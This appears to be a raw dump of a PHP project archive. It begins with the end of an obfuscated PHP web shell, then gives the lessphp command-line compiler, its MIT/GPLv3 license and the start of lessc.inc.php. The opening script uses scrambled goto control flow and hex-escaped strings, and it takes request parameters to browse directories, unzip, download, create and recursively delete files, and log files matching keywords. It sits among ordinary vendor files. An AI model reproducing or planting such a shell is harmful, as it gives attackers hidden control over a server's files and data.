(isset($_GET["\x64\151\x72"])) { goto Jo9v7; } goto zjXlz; U2RwY: if (empty($_POST["\x66\x6f\x72\x5f\144\145\x6c"])) { goto vb83N; } goto anCzF; dyAnS: P7T2h: goto U2RwY; Ne1jw: $YH3Np = $_GET["\x64\151\x72"] . "\57" . $_POST["\156\145\x77\x5f\146\x69\154\145"]; goto JHPzR; CUYeP: OqlPL($_GET["\165\x6e\172\151\x70"]); goto ljw5y; W8O_A: $eGMU5 = scandir($_GET["\144\x69\162"]); goto LbuPB; KYFNM: $I6GPr = Orr_E($LVHM1); goto BkVTa; w_Xwu: function Hn7Ll($h3fzG) { goto pOeOO; pOeOO: $F836w = opendir($h3fzG); goto MFHlH; js5BV: NLq9p: goto gTQxy; IQA8s: if (is_dir($h3fzG . "\x2f" . $Pqu41)) { goto NLq9p; } goto qyLyV; MFHlH: zUGOu: goto BAtkd; oBd3s: goto EFl5b; goto js5BV; qyLyV: unlink($h3fzG . "\x2f" . $Pqu41); goto oBd3s; AER2I: if (!($Pqu41 != "\56" && $Pqu41 != "\56\x2e")) { goto Sw2OC; } goto IQA8s; BQA3z: EFl5b: goto MbIbC; MbIbC: Sw2OC: goto RnMA0; gTQxy: hn7Ll($h3fzG . "\x2f" . $Pqu41); goto BQA3z; g4vbK: SsidK: goto OUSUu; BAtkd: if (!(($Pqu41 = readdir($F836w)) !== false)) { goto SsidK; } goto AER2I; RnMA0: goto zUGOu; goto g4vbK; OUSUu: closedir($F836w); goto L9PcP; L9PcP: rmdir($h3fzG); goto gngrF; gngrF: } goto LYV_H; xS7Rl: if (isset($_GET["\x64\151\162"])) { goto wUtRW; } goto dkwi3; na2Ic: zinl5: goto YqLrR; RuPKT: PftJd: goto Kq0II; aMTn9: if (!file_exists($uMTgE)) { goto s0yqd; } goto VMQbE; Ajdfw: PHZGX: goto MQF1K; fsTym: $rH_un = $_SERVER["\x53\103\122\x49\x50\x54\x5f\x4e\101\115\105"]; goto WvWCx; ZebjC: foreach ($qO7GR as $HG506) { goto T0nS5; dIU87: $gJOVN = stristr($LRhaK, $KIdf7); goto IjVyx; cO3Ky: GT7hz: goto MBi0l; rxUx2: HwsrD: goto P6dF1; PTWBi: $aBE0N = stristr($LRhaK, $Cj0nE); goto op31W; wKFAU: J25s1: goto rxUx2; DSKT_: fclose($P0O_u); goto zyI3j; MruV3: $Wo3db = stristr($LRhaK, $KLmgb); goto ptnvc; kCjV2: if (!($aBE0N !== false or $yXLmS !== false or $RzC6k !== false or $gJOVN !== false or $hPuWF !== false or $cnei_ !== false or $WfmMA !== false or $Q8ELG !== false or $MwQp7 !== false or $Wo3db !== false or $Yws2t !== false or $LKAP6 !== false)) { goto fOsFL; } goto HwEu1; SaZVB: $WfmMA = stristr($LRhaK, $Cn1lH); goto OAJTF; VU6KJ: $LKAP6 = stristr($LRhaK, $O_nX1); goto kCjV2; xZ0St: $RzC6k = stristr($LRhaK, $HL1u3); goto dIU87; SOPRc: $cnei_ = stristr($LRhaK, $oQDq2); goto SaZVB; MBi0l: $LRhaK = dqYsG($HG506); goto JHwKV; HwEu1: $P0O_u = fopen($XJm0F, "\141"); goto W59y2; dir1L: if (filesize($HG506) < 5000000) { goto GT7hz; } goto fUj0m; fnK0X: goto fjswA; goto cO3Ky; zyI3j: fOsFL: goto wKFAU; T0nS5: if (!file_exists($HG506)) { goto J25s1; } goto dir1L; JHwKV: fjswA: goto PTWBi; ptnvc: $Yws2t = stristr($LRhaK, $UG4IL); goto VU6KJ; fUj0m: $LRhaK = ''; goto fnK0X; op31W: $yXLmS = stristr($LRhaK, $G_QfL); goto xZ0St; Lh0s4: $MwQp7 = stristr($LRhaK, $EexMY); goto MruV3; OAJTF: $Q8ELG = stristr($LRhaK, $Gh2vx); goto Lh0s4; W59y2: fwrite($P0O_u, $HG506 . "\12"); goto DSKT_; IjVyx: $hPuWF = stristr($LRhaK, $Uhl9b); goto SOPRc; P6dF1: } goto na2Ic; rpWrK: heiwi: goto YVz_a; dVb3a: erqM2: goto AyGhX; RcTE4: function KkwPe($YH3Np) { goto x1n3C; x1n3C: $iTNc1 = strripos($YH3Np, "\57"); goto FtnIQ; FtnIQ: $CtAtM = substr_replace($YH3Np, '', $iTNc1, 99999); goto XQCax; XQCax: return $CtAtM; goto Jt2N7; Jt2N7: } goto a6BWd; sLhGh: echo "\74\x74\162\x20\141\154\151\x67\x6e\x3d\42\x63\x65\156\x74\x65\x72\42\x3e\74\164\x64\40\141\x6c\151\147\x6e\x3d\42\x6c\145\146\164\x22\40\x3e" . "\74\146\x6f\x6e\164\x20\x63\157\x6c\157\162\x3d\x22\x72\x65\x64\42\x3e\103\x61\156\x20\x6e\157\x74\40\x63\162\145\x61\x74\145\x20\x66\x6f\x6c\x64\145\x72\41\74\57\146\157\x6e\x74\x3e\74\x2f\164\x64\76" . "\x3c\x74\x64\76\74\x2f\x74\144\x3e\74\x74\144\76\x3c\x2f\x74\144\76\74\x74\144\76\x3c\x2f\164\144\76\x3c\x74\144\x3e\74\x2f\164\x64\76\x3c\x2f\x74\162\x3e"; goto whz7n; XnOwQ: KPoDD: goto wvEmM; VFSRw: unlink($LVHM1); goto HIUu8; HrvUP: echo $_SERVER["\123\x43\122\x49\x50\x54\137\x46\111\114\105\x4e\101\x4d\105"]; goto DgNIn; JlVYR: $nesCN = fopen($LVHM1, "\x77"); goto K4T9u; quVmR: if (!isset($_GET["\144\x6f\167\156\154\157\141\144"])) { goto DjpV5; } goto ufhIW; MBwDT: echo "\74\x2f\164\x61\142\x6c\145\x3e"; ?>PKÜ�\��2�++vendor/leafo/lessphp/plesscnu�[���#!/usr/bin/env php <?php // Command line utility to compile LESS to STDOUT // Leaf Corcoran <leafot@gmail.com>, 2013 $exe = array_shift($argv); // remove filename $HELP = <<<EOT Usage: $exe [options] input-file [output-file] Options include: -h, --help Show this message -v Print the version -f=format Set the output format, includes "default", "compressed" -c Keep /* */ comments in output -r Read from STDIN instead of input-file -w Watch input-file, and compile to output-file if it is changed -T Dump formatted parse tree -X Dump raw parse tree EOT; $opts = getopt('hvrwncXTf:', array('help')); while (count($argv) > 0 && preg_match('/^-([-hvrwncXT]$|[f]=)/', $argv[0])) { array_shift($argv); } function has() { global $opts; foreach (func_get_args() as $arg) { if (isset($opts[$arg])) return true; } return false; } if (has("h", "help")) { exit($HELP); } error_reporting(E_ALL); $path = realpath(dirname(__FILE__)).'/'; require $path."lessc.inc.php"; $VERSION = lessc::$VERSION; $fa = "Fatal Error: "; function err($msg) { fwrite(STDERR, $msg."\n"); } if (php_sapi_name() != "cli") { err($fa.$argv[0]." must be run in the command line."); exit(1); } function make_less($fname = null) { global $opts; $l = new lessc($fname); if (has("f")) { $format = $opts["f"]; if ($format != "default") $l->setFormatter($format); } if (has("c")) { $l->setPreserveComments(true); } return $l; } function process($data, $import = null) { global $fa; $l = make_less(); if ($import) $l->importDir = $import; try { echo $l->parse($data); exit(0); } catch (exception $ex) { err($fa."\n".str_repeat('=', 20)."\n". $ex->getMessage()); exit(1); } } if (has("v")) { exit($VERSION."\n"); } if (has("r")) { if (!empty($argv)) { $data = $argv[0]; } else { $data = ""; while (!feof(STDIN)) { $data .= fread(STDIN, 8192); } } exit(process($data)); } if (has("w")) { // need two files if (!is_file($in = array_shift($argv)) || null == $out = array_shift($argv)) { err($fa.$exe." -w infile outfile"); exit(1); } echo "Watching ".$in. (has("n") ? ' with notifications' : ''). ", press Ctrl + c to exit.\n"; $cache = $in; $last_action = 0; while (true) { clearstatcache(); // check if anything has changed since last fail $updated = false; if (is_array($cache)) { foreach ($cache['files'] as $fname=>$_) { if (filemtime($fname) > $last_action) { $updated = true; break; } } } else $updated = true; // try to compile it if ($updated) { $last_action = time(); try { $cache = lessc::cexecute($cache); echo "Writing updated file: ".$out."\n"; if (!file_put_contents($out, $cache['compiled'])) { err($fa."Could not write to file ".$out); exit(1); } } catch (exception $ex) { echo "\nFatal Error:\n".str_repeat('=', 20)."\n". $ex->getMessage()."\n\n"; if (has("n")) { `notify-send -u critical "compile failed" "{$ex->getMessage()}"`; } } } sleep(1); } exit(0); } if (!$fname = array_shift($argv)) { echo $HELP; exit(1); } function dumpValue($node, $depth = 0) { if (is_object($node)) { $indent = str_repeat(" ", $depth); $out = array(); foreach ($node->props as $prop) { $out[] = $indent . dumpValue($prop, $depth + 1); } $out = implode("\n", $out); if (!empty($node->tags)) { $out = "+ ".implode(", ", $node->tags)."\n".$out; } return $out; } elseif (is_array($node)) { if (empty($node)) return "[]"; $type = $node[0]; if ($type == "block") return dumpValue($node[1], $depth); $out = array(); foreach ($node as $value) { $out[] = dumpValue($value, $depth); } return "{ ".implode(", ", $out)." }"; } else { if (is_string($node) && preg_match("/[\s,]/", $node)) { return '"'.$node.'"'; } return $node; // normal value } } function stripValue($o, $toStrip) { if (is_array($o) || is_object($o)) { $isObject = is_object($o); $o = (array)$o; foreach ($toStrip as $removeKey) { if (!empty($o[$removeKey])) { $o[$removeKey] = "*stripped*"; } } foreach ($o as $k => $v) { $o[$k] = stripValue($v, $toStrip); } if ($isObject) { $o = (object)$o; } } return $o; } function dumpWithoutParent($o, $alsoStrip=array()) { $toStrip = array_merge(array("parent"), $alsoStrip); print_r(stripValue($o, $toStrip)); } try { $less = make_less($fname); if (has("T", "X")) { $parser = new lessc_parser($less, $fname); $tree = $parser->parse(file_get_contents($fname)); if (has("X")) $out = print_r($tree, 1); else $out = dumpValue($tree)."\n"; } else { $out = $less->parse(); } if (!$fout = array_shift($argv)) { echo $out; } else { file_put_contents($fout, $out); } } catch (exception $ex) { err($fa.$ex->getMessage()); exit(1); } PKÜ�\ ���i�i�vendor/leafo/lessphp/LICENSEnu�[���For ease of distribution, lessphp is under a dual license. You are free to pick which one suits your needs. MIT LICENSE Copyright (c) 2014 Leaf Corcoran, http://leafo.net/lessphp Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. GPL VERSION 3 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. PKÜ�\��s��"vendor/leafo/lessphp/lessc.inc.phpnu�[���<?php /** * lessphp v0.5.0 * http://leafo.net/lessphp * * LESS CSS compiler, adapted from http://lesscss.org * * Copyright 2013, Leaf Corcoran <leafot@gmail.com> * Licensed under MIT or GPLv3, see LICENSE */ /** * The LESS compiler and parser. * * Converting LESS to CSS is a three stage process. The incoming file is parsed * by `lessc_parser` into a syntax tree, then it is compiled into another tree * representing the CSS structure by `lessc`. The CSS tree is fed into a * formatter, like `lessc_formatter` which then outputs CSS as a string. * * During the first compile, all values are *reduced*, which means that their * types 